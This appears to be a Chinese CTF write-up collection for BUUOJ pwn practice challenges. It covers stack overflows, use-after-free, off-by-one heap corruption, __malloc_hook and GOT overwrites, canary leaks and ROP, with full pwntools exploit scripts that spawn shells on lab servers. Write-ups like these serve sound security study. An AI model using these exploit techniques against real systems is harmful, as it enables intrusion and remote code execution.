bjdctf_2020_babystack2

一开始要求输入一个长度,长度还不能大于 10,但是输入的长度是一个有符号数,可以输入一个负数,然后到了后面成了无符号数,就可以成为一个很大的数字了

image.png

同时,程序还有一个后门

image.png

  1. #coding:utf-8
  2. from pwn import *
  3. #p = process('./babystack')
  4. p = remote('node3.buuoj.cn',27269)
  5. size=-1
  6. back_door=0x400726
  7. p.sendlineafter('name:\n',str(size))
  8. #payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
  9. payload='a'*24+p64(back_door)
  10. #gdb.attach(p)
  11. p.sendlineafter('name?\n',payload)
  12. p.interactive()

hitcontraining_uaf

image.png

释放之后没有置为 0

image.png

程序还有一个后门

image.png

思路是首先申请两个,然后释放掉,在申请的时候申请一个 0x8 大小的,这样就能申请到第 0 个的结构体那个地方,然后写入后门的地址(本来结构体这个地方放的是 print_note_content),这样当展示 note 的时候就会调用后门

  1. #coding:utf-8
  2. from pwn import *
  3. #p = process('./pwn')
  4. p = remote('node3.buuoj.cn',28416)
  5. magic_addr=0x8048945
  6. def cmd(choice):
  7. p.sendlineafter('choice :',str(choice))
  8. def addnote(size,content):
  9. cmd(1)
  10. p.sendlineafter('size :',str(size))
  11. p.sendlineafter('Content :',content)
  12. def delete(index):
  13. cmd(2)
  14. p.sendlineafter('Index :',str(index))
  15. def show(index):
  16. cmd(3)
  17. p.sendlineafter('Index :',str(index))
  18. addnote(16,'aaaa') #0
  19. addnote(16,'bbbb') #1
  20. delete(0)
  21. delete(1)
  22. addnote(8,p32(magic_addr))
  23. #gdb.attach(p)
  24. show(0)
  25. p.interactive()

roarctf_2019_easy_pwn

一个笔记系统,先添加然后才能编辑,在编辑的时候,如果输入的 size 比之前创建的时候大 10 的话,就会造成 off by one

先放一下 exp

  1. #coding:utf-8
  2. from pwn import *
  3. from LibcSearcher import *
  4. p = process('./pwn')
  5. #p = remote('node3.buuoj.cn',26046)
  6. def cmd(choice):
  7. p.sendlineafter('choice: ',str(choice))
  8. def create(size):
  9. cmd(1)
  10. p.sendlineafter('size: ',str(size))
  11. def write(index,size,content):
  12. cmd(2)
  13. p.sendlineafter('index: ',str(index))
  14. p.sendlineafter('size: ',str(size))
  15. p.sendlineafter('content: ',content)
  16. def drop(index):
  17. cmd(3)
  18. p.sendlineafter('index: ',str(index))
  19. def show(index):
  20. cmd(4)
  21. p.sendlineafter('index: ',str(index))
  22. create(0x58) #0
  23. create(0x60) #1
  24. create(0x60) #2
  25. create(0x60) #3
  26. create(0x60) #4
  27. write(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1')
  28. drop(1)
  29. create(0x60) #5 = 1
  30. show(2) #2 is unsortbin
  31. p.recvuntil("content: ")
  32. address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  33. libc_base = address - 0x58 - 0x3c4b20
  34. print hex(libc_base)
  35. main_arean = address - 0x58
  36. one = 0x4526a
  37. realloc = libc_base + 0x846c0
  38. print hex(realloc)
  39. fake_chunk = main_arean - 0x33
  40. create(0x60) #2(5)
  41. drop(2)
  42. write(5, 0x8, p64(fake_chunk))
  43. create(0x60) #5 = 2
  44. create(0x60) #6 fake chunk
  45. realloc_addr=libc_base+libc.symbols['__libc_realloc']
  46. payload = '\x00'*11 + p64(one + libc_base) + p64(realloc+2)
  47. write(6, len(payload), payload)
  48. gdb.attach(p)
  49. create(255)
  50. p.interactive()

希望把 chunk 放到 unsorted bin 中,然后通过 fd 指针来拿到 unsorted bin 的地址,从来获得 libc 的地址,但程序使用的是 colloc,他会把申请的内存块给清空,所以不能通过申请一个在 unsorted bin 范围内的 chunk,free 之后申请过来泄露地址,可以通过先申请几个,然后通过第 0 个的 off by one 把第 1 个的 size 给改掉,让他包含上第 2 个,然后把第一个 free 的时候,会把第 1 和 第 2 个一起放到 unsorted bin 中,然后申请回来第 1 个,这时候第二个的 fd 指针就指向了 unsorted bin 的地址

首先申请一些堆块

  1. create(0x58) #0这一个必须要0x8结尾,不然的话没法溢出到size那里
  2. create(0x60) #1
  3. create(0x60) #2
  4. create(0x60) #3
  5. create(0x60) #4

image.png

然后对第 0 个进行编辑 write(0, 0x58 + 0xa, ‘a’* 0x58 + ‘\xe1’) 通过 off by one 把第 1 个的 size 给改成 0xe1

image.png

这时候 free 掉第 1 个,会放到 unsorted bin 中,然后他的 fd、bk 会指向 unsorted bin 的地址

image.png

这时候我们去把第 1 个申请回来,因为是 colloc 所以会置 0,但是我们可以用第 2 个来获得 unsorted bin 的地址

image.png

这个地址是 unsorted bin 链表的头部,跟 main_arena 的偏移固定 0x58,同时 main_arena 跟 libc 的偏移可以通过工具计算出来 https://github.com/bash-c/main_arena_offset

image.png

  1. show(2) #2 is unsortbin
  2. p.recvuntil("content: ")
  3. address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  4. libc_base = address - 0x58 - 0x3c4b20

然后再去申请 unsorted bin 中剩下的那块,这算第 5 个(第 2 个也指向他)

image.png

然后通过编辑第 5 个来修改他的 fd 的内容为 main_arean - 0x33 在 malloc_hook 附近,这个偏移是为了通过 size 的检查,这样能让他有个 0x7f 的 size

image.png

然后申请两次,就会申请到 fake_chunk(第 6 个),这时候编辑第六个的内容为
‘\x00’*11 + p64(one + libc_base) + p64(realloc+2)

前面的 11 个 ‘\x00’ 有 3 个是为了把错位给纠正过来,然后一个 0x10 是为了占空,再往后写就是覆写 relloc_hook 了,然后是 malloc_hook 的内容

这样写的原因是,one_gadget 的执行有时候需要一些条件

image.png

当不满足这些条件的时候,可以通过调用 realloc 函数调整 rsp
(可以试一下哪些可以正常用,比如这道题就是 realloc_addr+2)

image.png

所以上面意思是,先把 one_gadget 写到 realloc_hook 中,然后把 realloc_hook 写到 malloc_hook 中,当去 malloc 的时候会先去执行 malloc_hook(这里就是 realloc_hook),然后执行 realloc_hook 里的 one_gadget 从而拿到 shell

[V&N2020 公开赛]simpleHeap

跟上面那个大同小异,EXP:

  1. #coding:utf-8
  2. from pwn import *
  3. from LibcSearcher import *
  4. context(os='linux',arch='amd64',log_level='debug')
  5. p = process('./pwn')
  6. #p = remote('node3.buuoj.cn',29221)
  7. def cmd(choice):
  8. p.sendlineafter('choice: ',str(choice))
  9. def create(size,content):
  10. cmd(1)
  11. p.sendlineafter('size?',str(size))
  12. p.sendlineafter('content:',content)
  13. def edit(index,content):
  14. cmd(2)
  15. p.sendlineafter('idx?',str(index))
  16. p.sendlineafter('content:',content)
  17. def show(index):
  18. cmd(3)
  19. p.sendlineafter('idx?',str(index))
  20. def delete(index):
  21. cmd(4)
  22. p.sendlineafter('idx?',str(index))
  23. create(0x58,'aaaa') #0
  24. create(0x60,'bbbb') #1
  25. create(0x60,'cccc') #2
  26. create(0x60,'dddd') #3
  27. edit(0, 'a'* 0x58 + '\xe1')
  28. delete(1)
  29. create(0x60,'ffff') #4(1)
  30. show(2) #2 is unsortbin
  31. address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  32. libc_base = address - 0x58 - 0x3c4b20
  33. main_arean = address - 0x58
  34. one_gadget = libc_base+0x4526a
  35. realloc = libc_base + 0x846c0
  36. fake_chunk = main_arean - 0x33
  37. create(0x60,'yichen') #4(2)
  38. delete(3)
  39. delete(2)
  40. edit(4, p64(fake_chunk))
  41. create(0x60,'')
  42. payload = p8(0)*11
  43. payload += p64(one_gadget)
  44. payload+= p64(libc_base+0x846C0+0xc)
  45. create(0x60,payload)
  46. p.recvuntil("choice: ")
  47. p.sendline(str(1))
  48. p.recvuntil("size?")
  49. p.sendline(str(0x10))
  50. p.interactive()

实现了这么些功能

image.png

在 edit 的时候,应该是 >=,这里是 > 造成了 off by one

image.png

先申请一些堆空间,注意第 0 个大小是 0x58,是为了占用第 1 个的 prev_size,待会能够 off by one

image.png

成功覆盖掉下一个的 size 位

image.png

这时候对刚才修改的那个 chunk 进行 free,他会放到 unsorted bin 中,同时 fd、bk 指向 unsorted bin

image.png

但是这个是释放的,没法 show,那先把他申请掉,然后通过 show 他后面的第 2 个来获得 unsorted bin 的地址,来计算 libc

image.png

看一下各个偏移

image.png

下面再申请一个,他与第 2 个指向相同的地址 create(0x60,'yichen') 把他叫做第 4 个

然后释放掉第 3、2 个,通过第 4 个编辑第 2 个的 fd 指针为 fake_chunk 的地址

image.png

然后再去申请,第一次是把第 2 个申请回来(这里我纠结了好久,以为他要一直保存这个 fake_chunk 的地址,改了半天也没打通,结果又拿上一道题仔细看了一下,申请回来之后覆盖掉也没关系),然后就是第 2 个的 fd 指针指向的位置了,所以第二次申请就该发 payload 了

  1. payload = p8(0)*11
  2. payload += p64(one_gadget)
  3. payload+= p64(libc_base+0x846C0+0xc)
  4. create(0x60,payload)

然后再去 malloc 一下就行了,但因为我们改掉了 malloc_hook,不会返回 ‘content:’ 了,如果用上面定义的 create 会一直等待,所以单独拿出来去申请一下就行了

jarvisoj_test_your_memory

程序有一个 system 函数,可以找到 cat flag 的字符串
0x080485BD 0x80487E0

image.png

  1. #coding:utf-8
  2. from pwn import *
  3. from LibcSearcher import *
  4. #p=process('./memory')
  5. p=remote('node3.buuoj.cn',28186)
  6. sys_addr=0x080485BD
  7. flag_addr=0x80487E0
  8. payload='a'*0x17+p32(sys_addr)+p32(sys_addr)+p32(flag_addr)
  9. p.sendline(payload)
  10. p.interactive()

[ZJCTF 2019]Login

逆向不出来

  1. from pwn import *
  2. io = remote('node3.buuoj.cn',28035)
  3. shell = 0x400e88
  4. io.sendlineafter(': ','admin')
  5. io.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*58+p64(shell))
  6. io.interactive()

[ZJCTF 2019]EasyHeap

创建完成之后编辑的时候输入的 size 没有做检查

image.png

首先申请 3 个 chunk

  1. create(0x58,'aaaa') #0
  2. create(0x60,'bbbb') #1
  3. create(0x60,'cccc') #2

然后 drop 掉第 2 个,然后通过编辑第一个把本来的第 2 个的 fd 指针覆盖为 0x6020ad,这是 0x6020b0-3 得到的,0x6020b0 是 heaparray 数组

image.png

希望通过错位来有一个 0x7f 的 size

image.png

下面,先加上 3 把错位对齐,然后四个 p64(0) 是为了占位,再写 p64(elf.got[‘free’]) 就是 heaparray 数组了
把他给覆盖掉,现在 heaparray 指向的是 free 的 got 表了(本来指向第 0 个 chunk 的地址),这时候修改第 0 个,就能改掉 free 的 got 表

image.png

改掉!改成 system

image.png

然后再 free 1 就好了(之前把 1 上写上 /bin/sh 了)

  1. #!/usr/bin/env python
  2. #coding=utf-8
  3. from pwn import*
  4. #context.log_level = 'debug'
  5. #p=process('./easyheap')
  6. p=remote('node3.buuoj.cn',28007)
  7. elf=ELF('./easyheap')
  8. def cmd(choice):
  9. p.sendlineafter('choice :',str(choice))
  10. def add(size,content):
  11. cmd(1)
  12. p.recvuntil("Heap : ")
  13. p.sendline(str(size))
  14. p.recvuntil("heap:")
  15. p.send(content)
  16. def edit(index,size,content):
  17. cmd(2)
  18. p.recvuntil("Index :")
  19. p.sendline(str(index))
  20. p.recvuntil("Heap : ")
  21. p.sendline(str(size))
  22. p.recvuntil("heap : ")
  23. p.send(content)
  24. def drop(index):
  25. cmd(3)
  26. p.recvuntil("Index :")
  27. p.sendline(str(index))
  28. add(0x68,"aaaa") # 0
  29. add(0x68,"bbbb") # 1
  30. add(0x68,"cccc") # 2
  31. drop(2)
  32. payload = "/bin/sh\x00" + "a"*0x60 + p64(0x71) + p64(0x6020b0-3)
  33. edit(1,len(payload),payload)
  34. add(0x68,"cccc") # 2
  35. payload = "a"*3 + p64(0)*4 + p64(elf.got['free'])
  36. add(0x68,payload)
  37. payload = p64(elf.plt['system'])
  38. print hex(elf.plt['system'])
  39. edit(0,len(payload),payload)
  40. drop(1)
  41. p.interactive()

cmcc_simplerop

32 位程序,栈空间 32,开启了栈不可执行,没有可以利用的后门,尝试 ret2syscall

image.png

image.png

那么问题来了 /bin/sh 的地址在哪里?,bss 段是可读可写的,那就用 read 函数写到里面去

image.png

exp:
ret2shellcode(修改 mprotect)

  1. from pwn import *
  2. p = process('./simplerop')
  3. #p=remote('node3.buuoj.cn',25858)
  4. elf = ELF('./simplerop')
  5. bss = elf.bss()
  6. mprotect_addr = elf.sym['mprotect']
  7. read_addr = elf.sym['read']
  8. pop3 = 0x08048913
  9. payload = 'a'*32+p32(mprotect_addr)+p32(pop3)+p32(0x80ea000)+p32(0x1000)+p32(0x7)
  10. payload += p32(read_addr)+p32(pop3)+p32(0)+p32(bss+0x50)+p32(0x50)+p32(bss+0x50)
  11. p.recvuntil(':')
  12. p.send(payload)
  13. sleep(1)
  14. p.send(asm(shellcraft.sh()))
  15. p.interactive()

ret2syscall

  1. from pwn import *
  2. context.log_level = 'debug'
  3. p=process('./simplerop')
  4. int_80 = 0x80493e1
  5. pop_eax = 0x80bae06
  6. read_addr = 0x0806CD50
  7. binsh_addr = 0x080EB584
  8. pop_edx_ecx_ebx = 0x0806e850
  9. payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_80)
  10. p.sendline(payload)
  11. p.send('/bin/sh\x00')
  12. p.interactive()

ciscn_2019_n_3

可以看一下大致的结构,首先一个 0xc 大小的用来存放 print 函数、free函数的地址,然后还有存放这个 index 执行的 chunk 的地址

image.png

free 的时候没有进行置零,所以存在 uaf

image.png

  1. #!/usr/bin/env python
  2. #coding=utf-8
  3. from pwn import *
  4. from LibcSearcher import *
  5. import sys
  6. #context.log_level = 'debug'
  7. p=process('./ciscn' )
  8. elf=ELF('./ciscn' )
  9. libc=elf.libc
  10. def add(index,len,content):
  11. p.sendlineafter('CNote > ',str(1))
  12. p.sendlineafter('Index > ',str(index))
  13. p.sendlineafter('Type > ',str(2))
  14. p.sendlineafter('Length > ',str(len))
  15. p.sendlineafter('Value > ',content)
  16. def delete(index):
  17. p.sendlineafter('CNote > ',str(2))
  18. p.sendlineafter('Index > ',str(index))
  19. add(0,0x10,'yichen')
  20. add(1,0x10,'writeup')
  21. gdb.attach(p)
  22. delete(0)
  23. delete(1)
  24. #释放掉之后有两个空闲的0xc大小的chunk
  25. add(2,0xc,'sh\x00\x00'+p32(elf.sym['system']))
  26. #去申请0xc大小的chunk首先会申请到第1个的0xc就是数组records[v2],然后是第0个的0xc用来存放内容
  27. #那我们就可以修改第0个,把print的地址改成sh,把free的地址改成system的地址
  28. #从那个伪代码可以看到free(ptr+2),即print的位置
  29. delete(0)
  30. p.interactive()

bjdctf_2020_babyrop2

通过格式化字符串泄漏 canary,然后 rop(还是第一次做这样的)

通过 AA%n$p 来测试出我们的 格式化字符串是在哪个位置
AA%6$p 的时候输出了 4141,所以第六个参数可以被解析成格式化字符串

image.png

canary 的位置是 rbp-8

image.png

在 gdb 里面调试看看(%7$p 就能把 canary 给打印出来)

image.png

image.png

  1. #!/usr/bin/env python
  2. #coding=utf-8
  3. from pwn import *
  4. from LibcSearcher import *
  5. #p=process('./babyrop2')
  6. p=remote('node3.buuoj.cn',29772)
  7. elf=ELF('./babyrop2')
  8. put_plt=elf.plt['puts']
  9. put_got=elf.got['puts']
  10. pop_rdi=0x0400993
  11. main_addr=elf.symbols['main']
  12. vuln_addr=0x400887
  13. p.sendlineafter('help u!\n','%7$p')
  14. p.recvuntil('0x')
  15. canary = int(p.recv(16),16)
  16. payload = p64(canary)
  17. payload = payload.rjust(0x20,'a')+'a'*8+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(vuln_addr)
  18. p.sendlineafter('story!\n',payload)
  19. put_addr=u64(p.recv(6).ljust(8,'\x00'))
  20. libc=LibcSearcher('puts',put_addr)
  21. libcbase=put_addr-libc.dump("puts")
  22. system_addr=libcbase+libc.dump("system")
  23. binsh_addr=libcbase+libc.dump("str_bin_sh")
  24. payload = p64(canary)
  25. payload = payload.rjust(0x20,'a')+'a'*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+p64(vuln_addr)
  26. p.sendlineafter('story!\n',payload)
  27. p.interactive()

bjdctf_2020_router

emmmm,命令执行,一个 system 函数,直接写上 ; sh

image.png

#######[V&N2020 公开赛]easyTHeap

实现的功能

image.png

add 的时候对于 size 的要求是大于 0 小于 256 也就是 0x100

image.png

只能创建 7 个

image.png

delete 的时候,后面那个置零操作并没有把申请的那个给置零,而是把 size 给置零了

image.png

我没法调试…

ciscn_2019_final_3

语雀内容

jarvisoj_level1

给的文件跟远程不一样,用 ret2libc 的方法做(本地不通,libcsearcher 找不到 libc)

  1. from pwn import *
  2. from LibcSearcher import *
  3. #p = process('./level1')
  4. p=remote('node3.buuoj.cn',26010)
  5. elf = ELF('./level1')
  6. write_plt=elf.plt['write']
  7. write_got=elf.got['write']
  8. main_addr=elf.symbols['main']
  9. payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
  10. p.sendline(payload1)
  11. write_addr = u32(p.recv(4))
  12. print hex(write_addr)
  13. libc=LibcSearcher('write',write_addr)
  14. libcbase=write_addr-libc.dump("write")
  15. system_addr=libcbase+libc.dump("system")
  16. binsh_addr=libcbase+libc.dump("str_bin_sh")
  17. payload='A'*140+p32(system_addr)+p32(0xbeadbeef)+p32(binsh_addr)
  18. p.sendline(payload)
  19. p.interactive()

picoctf_2018_rop chain

首先,在 vuln 函数里面有个栈溢出

image.png

在 flag 函数里面可以看到,想要输出 flag,需要满足这个条件

image.png

  1. from pwn import *
  2. from LibcSearcher import *
  3. p = process('./rop')
  4. #p=remote('node3.buuoj.cn',29869)
  5. win1_addr=0x80485CB
  6. win2_addr=0x80485D8
  7. flag_addr=0x804862B
  8. pop_addr=0x080485d6
  9. payload='a'*28+p32(win1_addr)+p32(win2_addr)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
  10. #先返回到win1使得win1=1
  11. #然后返回到win2,因为要与ebp+8进行比较,所以中间加了个flag_addr
  12. #比较好了返回到flag_addr
  13. #然后与ebp+8进行比较正好夹了个0xBAAAAAAD
  14. p.sendline(payload)
  15. p.interactive()

其实那些数在汇编里都有了

image.pngimage.png

pwnable_orw

要自己写 shellcode,可以使用 shellcraft

  1. from pwn import *
  2. context.log_level = "debug"
  3. context.arch = "i386"
  4. p = remote("node3.buuoj.cn",29300)
  5. bss = 0x804A060
  6. shellcode = shellcraft.open('flag')
  7. shellcode += shellcraft.read('eax',bss+100,100)
  8. shellcode += shellcraft.write(1,bss+100,100)
  9. p.sendline(asm(shellcode))
  10. p.interactive()

gyctf_2020_borrowstack

通过栈迁移放到距离 bss 开始稍微远一点的地方,然后 puts 把 puts 的真实地址写出来,计算出 libc 的基址,用 one_gadget 就可以啦

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. context.log_level='debug'
  5. #p=process('./pwn')
  6. p=remote('node3.buuoj.cn',25777)
  7. elf=ELF('./pwn')
  8. libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
  9. leave_addr=0x400699
  10. pop_rdi=0x400703
  11. bss_addr=0x601080
  12. puts_got=elf.got['puts']
  13. puts_plt=elf.plt['puts']
  14. main=elf.symbols['main']
  15. p.recvuntil('want')
  16. payload='a'*0x60+p64(bss_addr+0xa0)+p64(leave_addr)
  17. p.send(payload)
  18. p.recvuntil('now!')
  19. payload1='a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
  20. p.sendline(payload1)
  21. puts_addr=u64(p.recvuntil('\x7f')[1:8].ljust(8,'\x00'))
  22. libcbase=puts_addr-libc.sym['puts']
  23. one_gadget=libcbase+0x45226
  24. p.sendline('a'*0x68 + p64(one_gadget))
  25. p.interactive()

[V&N2020 公开赛]warmup

这里溢出了 0x10 的大小

image.png

但是在他前面,读入了 0x180,而且也是在 buf 里面

image.png

这样的话他俩就连起来了

这个东西是一个沙箱,禁用了一些函数比如 execve

image.png

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. context.log_level = "debug"
  5. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  6. p = process("./warmup")
  7. #p = remote("node3.buuoj.cn",28968)
  8. p.recvuntil("gift: ")
  9. #puts_addr=u64(p.recvuntil('\x7f')[1:8].ljust(8,'\x00'))
  10. puts_addr = int(p.recvuntil('\n'),16)
  11. print hex(puts_addr)
  12. libc_base = puts_addr - libc.sym['puts']
  13. pop_rdi = libc_base + 0x0000000000021102
  14. pop_rsi = libc_base + 0x00000000000202e8
  15. pop_rdx = libc_base + 0x0000000000001b92
  16. ret_addr = libc_base + 0x0000000000000937
  17. read_addr = libc.sym['read'] + libc_base
  18. open_addr = libc.sym['open'] + libc_base
  19. write_addr = libc.sym['write'] + libc_base
  20. bss_addr = libc_base + 0x3c6500
  21. payload = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
  22. #read(0,buf,100)把/flag读到bss_addr
  23. payload += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
  24. #open('/flag',0)打开/flag
  25. payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
  26. #read(3,buf,100)这里的3表示从open的文件中读入
  27. payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
  28. #write(1,buf,100)输出flag
  29. p.sendlineafter('something: ',payload)
  30. p.recvuntil('name?')
  31. payload = 'a'*0x70 + p64(0xdeadbeef) +p64(ret_addr)
  32. p.send(payload)
  33. p.sendline('/flag\x00')
  34. p.interactive()

bbys_tu_2016

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. context.log_level = "debug"
  5. #p = process("./bby")
  6. p = remote("node3.buuoj.cn",28132)
  7. flag_addr=0x804856D
  8. payload='a'*24+p32(flag_addr)
  9. p.sendline(payload)
  10. p.interactive()

xdctf2015_pwn200

语雀内容

########axb_2019_fmt32

image.png

others_babystack

  1. from pwn import *
  2. context.log_level = 'debug'
  3. #p=process('./babystack')
  4. p=remote('node3.buuoj.cn',29496)
  5. elf = ELF('./babystack')
  6. libc=ELF('./libc-2.23.so')
  7. puts_got=elf.got['puts']
  8. puts_plt=elf.plt['puts']
  9. pop_rdi = 0x400a93
  10. ret = 0x400a2a
  11. main_addr=0x400908
  12. payload='leak:'
  13. payload = payload.rjust(0x88,'a')
  14. p.recvuntil('>> ')
  15. p.sendline('1')
  16. p.sendline(payload)
  17. p.recvuntil('>> ')
  18. p.sendline('2')
  19. p.recvuntil('leak:\n')
  20. canary=u64(p.recv(7).rjust(8,'\x00'))
  21. print "============="
  22. print hex(canary)
  23. print "============="
  24. payload1 = 'a'*0x88 + p64(canary)+'a'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
  25. p.sendlineafter('>>','1')
  26. p.sendline(payload1)
  27. p.sendlineafter('>>','3')
  28. p.recv()
  29. puts_addr = u64(p.recv(6).ljust(8,'\x00'))
  30. print "=========="
  31. print hex(puts_addr)
  32. print "=========="
  33. libcbase = puts_addr - libc.symbols['puts']
  34. system = libcbase + libc.symbols['system']
  35. binsh = libcbase + libc.search('/bin/sh').next()
  36. payload2 = 'a' * 0x88 + p64(canary) + 'b' * 0x8
  37. payload2 += p64(pop_rdi) + p64(binsh) + p64(system)
  38. p.sendlineafter('>>','1')
  39. p.sendline(payload2)
  40. p.sendlineafter('>>','3')
  41. p.interactive()

[BJDCTF 2nd]secret

buf 哪里有个缓冲区溢出

image.png

可以把这个 off_46D090 给覆盖掉,而这个 off_46D090 每次成功的时候都会把指向的值 -1

image.png

同时 system 和 printf 的地址挨的很近

image.png

如果通过栈溢出,把 off_46D090 写成 printf 的地址,第 15 次,就正好到了 system 哪里,再故意输错就能调用啦

image.png

再来看看那个判断输入的对不对的函数

image.png

挨个找出来 15 个就可以了

  1. #coding:utf8
  2. from pwn import *
  3. #sh = process('./secret')
  4. sh = remote('node3.buuoj.cn',26618)
  5. elf = ELF('./secret')
  6. printf_got = elf.got['printf']
  7. answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
  8. payload = b'/bin/sh\x00'.ljust(0x10,b'\x00') + p32(printf_got)
  9. sh.sendafter("What's your name?",payload)
  10. for x in answer:
  11. sh.sendlineafter('Secret:',str(x))
  12. sh.sendlineafter('Secret:','1')
  13. sh.interactive()

picoctf_2018_buffer overflow 1

  1. #coding:utf8
  2. from pwn import *
  3. #p=process('./pwn')
  4. p=remote('node3.buuoj.cn',26955)
  5. win_addr=0x80485CB
  6. payload='a'*44+p32(win_addr)
  7. p.sendline(payload)
  8. p.interactive()

picoctf_2018_buffer overflow 2

需要检查的那两个参数分别是:0xDEADBEEF 和 0xDEADC0DE
那么稍微改一下:

  1. #coding:utf8
  2. from pwn import *
  3. p=process('./pwn')
  4. #p=remote('node3.buuoj.cn',26955)
  5. win_addr=0x80485CB
  6. payload='a'*112+p32(win_addr)+p32(1234)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
  7. p.sendline(payload)
  8. p.interactive()

pwnable_start

IDA 好贴心还给我把参数给注释出来了

image.png

第一次通过返回到 0x08048087 把 esp 的内容给打印出来,得到栈的地址,然后往栈上写 shellcode

  1. from pwn import *
  2. p = remote('node3.buuoj.cn',25184)
  3. #p=process('./start')
  4. payload = 'a'*20 + p32(0x08048087)
  5. #gdb.attach(p,'b*0x08048087')
  6. p.recvuntil(':')
  7. p.send(payload)
  8. leak=u32(p.recv(4));
  9. shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
  10. payload= 'a'*20 + p32(leak+20)+shellcode
  11. p.send(payload)
  12. p.interactive()

inndy_rop

用 ROPgadget —binary rop —ropchain 生成 rop 链,加上偏移直接打

  1. from pwn import *
  2. s = remote('node3.buuoj.cn',26553)
  3. #s=process('./rop')
  4. from struct import pack
  5. def hack():
  6. # Padding goes here
  7. p = 'a'*16
  8. p += pack('<I', 0x0806ecda) # pop edx ; ret
  9. p += pack('<I', 0x080ea060) # @ .data
  10. p += pack('<I', 0x080b8016) # pop eax ; ret
  11. p += '/bin'
  12. p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
  13. p += pack('<I', 0x0806ecda) # pop edx ; ret
  14. p += pack('<I', 0x080ea064) # @ .data + 4
  15. p += pack('<I', 0x080b8016) # pop eax ; ret
  16. p += '//sh'
  17. p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
  18. p += pack('<I', 0x0806ecda) # pop edx ; ret
  19. p += pack('<I', 0x080ea068) # @ .data + 8
  20. p += pack('<I', 0x080492d3) # xor eax, eax ; ret
  21. p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
  22. p += pack('<I', 0x080481c9) # pop ebx ; ret
  23. p += pack('<I', 0x080ea060) # @ .data
  24. p += pack('<I', 0x080de769) # pop ecx ; ret
  25. p += pack('<I', 0x080ea068) # @ .data + 8
  26. p += pack('<I', 0x0806ecda) # pop edx ; ret
  27. p += pack('<I', 0x080ea068) # @ .data + 8
  28. p += pack('<I', 0x080492d3) # xor eax, eax ; ret
  29. p += pack('<I', 0x0807a66f) # inc eax ; ret
  30. p += pack('<I', 0x0807a66f) # inc eax ; ret
  31. p += pack('<I', 0x0807a66f) # inc eax ; ret
  32. p += pack('<I', 0x0807a66f) # inc eax ; ret
  33. p += pack('<I', 0x0807a66f) # inc eax ; ret
  34. p += pack('<I', 0x0807a66f) # inc eax ; ret
  35. p += pack('<I', 0x0807a66f) # inc eax ; ret
  36. p += pack('<I', 0x0807a66f) # inc eax ; ret
  37. p += pack('<I', 0x0807a66f) # inc eax ; ret
  38. p += pack('<I', 0x0807a66f) # inc eax ; ret
  39. p += pack('<I', 0x0807a66f) # inc eax ; ret
  40. p += pack('<I', 0x0806c943) # int 0x80
  41. s.sendline(p)
  42. hack()
  43. s.interactive()

hitcontraining_magicheap

相关知识:https://www.yuque.com/hxfqg9/bin/tubv6q
程序有一个后门

image.png

而且只要满足这样的条件程序就会调用它

image.png

magic 的地址是 0x6020A0
首先 create 3 个 chunk(为了防止与 top chunk 合并)
释放掉中间那个,通过编辑第一个 chunk,堆溢出把中间那个 chunk 的 bk 改成 magic-0x10 的地址,然后再申请回来,这时候因为 unlink 就会把 magic 写入 unsorted bin 的链表头部地址,就大于要求的那个数了

image.png

改写一下

image.png

  1. from pwn import *
  2. #p = remote('node3.buuoj.cn',26553)
  3. context.log_level='debug'
  4. p=process('./heap')
  5. def cmd(choice):
  6. p.sendlineafter('Your choice :',str(choice))
  7. def create(size,content):
  8. cmd(1)
  9. p.sendlineafter('Size of Heap : ',str(size))
  10. p.sendlineafter('Content of heap:',content)
  11. def edit(index,size,content):
  12. cmd(2)
  13. p.sendlineafter('Index :',str(index))
  14. p.sendlineafter('Size of Heap : ',str(size))
  15. p.sendlineafter('Content of heap : ',content)
  16. def delete(index):
  17. cmd(3)
  18. p.sendlineafter('Index :',str(index))
  19. magic_addr=0x6020A0
  20. create(0x80,'yichen')
  21. create(0x80,'writeup')
  22. create(0x40,'12345')
  23. delete(1)
  24. payload='a'*0x80+p64(0)+p64(0x91)+p64(magic_addr-0x10)+p64(magic_addr-0x10)
  25. sleep(1)
  26. edit(0,len(payload),payload)
  27. create(0x80,'1')
